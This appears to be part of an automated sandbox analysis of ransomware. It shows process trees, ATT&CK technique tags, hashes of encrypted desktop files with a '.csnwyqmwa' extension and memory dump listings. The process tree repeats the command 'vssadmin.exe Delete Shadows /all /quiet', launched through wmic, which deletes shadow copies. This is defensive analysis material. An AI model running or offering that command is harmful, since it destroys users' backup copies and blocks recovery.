- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
3⤵
PID:2456

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1576

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2124

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
3⤵
PID:2424

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2660

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2652

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2756

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\Desktop\ConvertToResume.png.csnwyqmwa
MD5
d8e3cd1e0d04c5f6061ff57bbaaf88f2

SHA1
cdfa82824f4028a0491fdd5ff3ebf4f9ebdc2f80

SHA256
4b0d4d66e50c47ad5f83fd3de4c0c472809bbcae9089124dafbf289394d29ba2

SHA512
59760191681de46bc2349ffd2278d1dddc015d0a90885edf4c37fa20299befa3ea737910781489379d4cdf27cba8a0ac5fbb96a8fb94c88ef9baed24b0f2106f

Download Submit
C:\Users\Admin\Desktop\DisconnectConnect.wma.csnwyqmwa
MD5
8596814211ec99edad67d63be6872a21

SHA1
058b440510784605b08894734a1f2159c969dc3b

SHA256
c5a500c0e7c6bb98902e9d98e841ca2e739af00907c03e8ef681032881ed5d1b

SHA512
81143ccbea1e7ad999762543785c0a15228bbb37759fec5ecb4263b7a30bdd12f40a91b5f0eb8dd7dc77c68ff5b3e88ad2a6a4c90290543f0b47365472d127c2

Download Submit
C:\Users\Admin\Desktop\InvokeResolve.jpeg.csnwyqmwa
MD5
0ea6db758a9833f921ab52ae4e5fb08e

SHA1
8d91284456fadcb30b38ce345eb42a56df5c8579

SHA256
86a74c80513f991bcfe70e2fe23ab736ccb16a6b1b91390cabae47a61a0088f2

SHA512
73ba9944ce447f6259f8438a2df70ab6b32cf2d750137912af3134fe639fd79877a3235c01c954e7731a05d44f0a201d0cac4f018a678cd7b198518822594f86

Download Submit
C:\Users\Admin\Desktop\RequestConvertFrom.ppsm.csnwyqmwa
MD5
320c02d5bfe02b6189b550c61e3f2696

SHA1
7864791db15cae330d4c83a94c510cee0a25830b

SHA256
72301b7de21df221c93229796d6aa0bcc19fc2b8921c924039bc50018cfb0481

SHA512
439c28dc644aa2c96dad64b97f0ae30b644a738e8be43ed8090be784d6e76d9143c82cadd336de39adee73f1ca628fd23e5d5580d7e3f9528f92ec177bda9eb8

Download Submit
C:\Users\Admin\Desktop\RequestSync.rtf.csnwyqmwa
MD5
81616cde15d747b0c5d237e556c34890

SHA1
f4ef128abf5e2cba5b3f3bdfeb4f99e77d62f6f2

SHA256
db5c826fe794263d95f3ba539e9a4ea99bf90df6933d3788cad7158b70bbe9ab

SHA512
90e84a108c77300b4a68a1cb2b4a50537df06c685082473932d7e2ae45a2860b81875515a645c2d9f3910eb1e6d9a8694c668368e1eb86addb465a71a414df6f

Download Submit
C:\Users\Admin\Desktop\RestartFormat.gif.csnwyqmwa
MD5
e01b8ca05fdd2bc4413245438a494170

SHA1
50848db7e4f718705cc750f0704559a205e78668

SHA256
1b67051265475e1142a496e6678b08f5bce4f1cd60b13e075c740b61993a66da

SHA512
594210ad1c038d2e4042d45bb1fe121993b6de661d18a686cbb23e71db21f93acc709b0a592a6fec660312cf88065498212abb372c107ee6ca0a0b3fa6482a5f

Download Submit
C:\Users\Admin\Desktop\RestoreMount.xps.csnwyqmwa
MD5
92084368acddccd7dcec48fca106f488

SHA1
87c114d0e78b0a15f8385981faed25746102f1ef

SHA256
c2e57aafe40e41639f57b4e1ebd348dad4ee3f1a8a411f2f4e2677b39cc67f3d

SHA512
cfe25d8d5a464dc47abba6361cf3330ff04af0be1f3e37bab02825635940a37bce9b71b59ac2f3df8886f1f10279ebcde640575700c3fb5d67f379c3d0286158

Download Submit
C:\Users\Admin\Desktop\UnblockInvoke.doc.csnwyqmwa
MD5
24e80ed346381c680d7b9aaed58e4219

SHA1
a2d9354b23f2bfb7654d608d5ae0b0a910cc3e70

SHA256
1843215d9961550322694aa92f12542f0f7479aa2c24a9693055ed9e8461d5f6

SHA512
6f294a60f86114a78b45de0fc30dfe7241ce26cd51797812cca9dea3b6f2e706416c669109f1802d839c9300b438747bdec518fb706fd46ddaabf94e1d54d906

Download Submit
C:\Users\Admin\Desktop\UndoInvoke.avi.csnwyqmwa
MD5
d64f5692f50e4ad8fbd97f7fa7f6a21a

SHA1
35c13b499397651073f8a6b9285dee0a6d6277b1

SHA256
e1692b9db62a6e43e1a0f5983ffb7fb4b3bf30f41dcf43f4adeb8e421552ee04

SHA512
38a6782362e82418a00e0cab521494434f870149f0153f406291fcbd41f1aab042728e8370c123d34bfbfdd7e36a811093f398f7a3d7ed32a07920b1c51ad247

Download Submit
C:\Users\Admin\Desktop\UnpublishResize.xltm.csnwyqmwa
MD5
7ce3f06cc0dcfb70646c848548b62c30

SHA1
247e584dcbf04530202c741b9cef987a56b520da

SHA256
95f355959660f19f7a9a278a091ab0b75d00e62b28a275be677ae71a83432de4

SHA512
36edef8eb2f23c8edf9287bd41432066500db915008e053db9454d6cce13c22d4411c99951ecbfa9ad6d59478e64024854accd0ec7797a5e14cacb657396aa35

Download Submit
C:\Users\Admin\Desktop\UpdateBlock.pot.csnwyqmwa
MD5
74eb6f4d38a9cf72ac298650f2e0d082

SHA1
6689ef5fe30b1c088b61efc4509d354637212c9c

SHA256
edc155a2aa535c720f874e75b247ad733632ccc69df51ba461ee655508766afc

SHA512
204c4e58a01157a6edca86f49673b0057d537f7277fd61ca3a0ddc91709f0a213bb6dd6e2692e12b3fadfcdcd596ed2f368371818fe83e90a1db6164e66558a5

Download Submit
C:\Users\Admin\Desktop\WatchImport.jpg.csnwyqmwa
MD5
05bc20e22ee727467e016cedfe2b27be

SHA1
cb036eec28bda34238d5aae85ca88f0805877e84

SHA256
2453f21948c1567684a92dd5a67e32479b1684b220835c21983821c2055dfad0

SHA512
2e7e2eb406e3a117f6a5bd84d31f5f4716a4c4367b866992500f23a4a8a418be1d6d6104a02bbbe2cc45f602416717921d0b3e327c9392dc7f4fb4934b31549b

Download Submit
C:\Users\Admin\Desktop\readme.txt
MD5
5fc1d6e72e9f3899d2e456208002e798

SHA1
6ef4b9c2f98d30053a4e3a9bbcdf0086fde82b22

SHA256
e0055f606d69030aa9f0ac9aec2672aa3f8cc6d5749aed824ed62304e8393123

SHA512
420f398fc8b1bbd635192b72ba379dd51c14b78a2f60d6ced95dfd572dd2d29918a81c99c9444726480ce46d764936be91d8419dbfc624438801477b6668b084

Download Submit
C:\Users\Public\readme.txt
MD5
5fc1d6e72e9f3899d2e456208002e798

SHA1
6ef4b9c2f98d30053a4e3a9bbcdf0086fde82b22

SHA256
e0055f606d69030aa9f0ac9aec2672aa3f8cc6d5749aed824ed62304e8393123

SHA512
420f398fc8b1bbd635192b72ba379dd51c14b78a2f60d6ced95dfd572dd2d29918a81c99c9444726480ce46d764936be91d8419dbfc624438801477b6668b084

Download Submit
memory/284-150-0x0000000000000000-mapping.dmp

Download
memory/556-149-0x0000000000000000-mapping.dmp

Download
memory/764-151-0x0000000000000000-mapping.dmp

Download
memory/780-124-0x0000000000000000-mapping.dmp

Download
memory/780-125-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp

Filesize
8KB

Download
memory/1124-104-0x0000000001D20000-0x0000000001D24000-memory.dmp

Filesize
16KB

Download
memory/1404-140-0x0000000000000000-mapping.dmp

Download
memory/1540-144-0x0000000000000000-mapping.dmp

Download
memory/1676-147-0x0000000000000000-mapping.dmp

Download
memory/1680-148-0x0000000000000000-mapping.dmp

Download
memory/1728-145-0x0000000000000000-mapping.dmp

Download
memory/1804-146-0x0000000000000000-mapping.dmp

Download
memory/1864-141-0x0000000000000000-mapping.dmp

Download
memory/1908-143-0x0000000000000000-mapping.dmp

Download
memory/1920-87-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/1920-61-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1920-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1920-88-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1920-89-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1920-91-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/1920-92-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

Filesize
4KB

Download
memory/1920-93-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download
memory/1920-94-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1920-63-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1920-62-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/1920-64-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/2100-152-0x0000000000000000-mapping.dmp

Download
memory/2100-153-0x0000000076691000-0x0000000076693000-memory.dmp

Filesize
8KB

Download
memory/2124-154-0x0000000000000000-mapping.dmp

Download
memory/2132-155-0x0000000000000000-mapping.dmp

Download
memory/2144-156-0x0000000000000000-mapping.dmp

Download
memory/2184-157-0x0000000000000000-mapping.dmp

Download
memory/2400-163-0x0000000000000000-mapping.dmp

Download
memory/2408-162-0x0000000000000000-mapping.dmp

Download
memory/2424-164-0x0000000000000000-mapping.dmp

Download
memory/2456-165-0x0000000000000000-mapping.dmp

Download